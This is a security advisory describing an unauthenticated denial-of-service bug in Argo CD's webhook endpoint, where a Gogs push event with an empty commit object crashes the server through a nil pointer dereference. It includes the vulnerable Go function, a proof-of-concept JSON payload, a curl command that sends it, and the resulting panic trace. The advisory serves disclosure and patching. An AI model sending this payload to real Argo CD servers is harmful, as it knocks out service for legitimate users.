argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null.

Details

Users can access /api/webhook without authentication, and when accessing this endpoint, the Handler function parses webhook type messages according to the header (e.g. X-Gogs-Event) and body parameters provided by the user. The Parse function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.

The affectedRevisionInfo function parses data according to webhook event types(e.g. gogsclient.PushPayload). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.

func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {
    switch payload := payloadIf.(type) {
        // ...
        case gogsclient.PushPayload:
            webURLs = append(webURLs, payload.Repo.HTMLURL) // bug
            // ...
        }
    return webURLs, revision, change, touchedHead, changedFiles
}

PoC

payload-gogs.json

{
  "ref": "refs/heads/master",
  "before": "0000000000000000000000000000000000000000",
  "after": "0a05129851238652bf806a400af89fa974ade739",
  "commits": [{}]
}

curl -k -v https://argocd.example.com/api/webhook \
  -H 'X-Gogs-Event: push' \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/payload-gogs.json

An attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to /api/webhook.

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]

goroutine 302 [running]:
github.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1()
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60
created by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28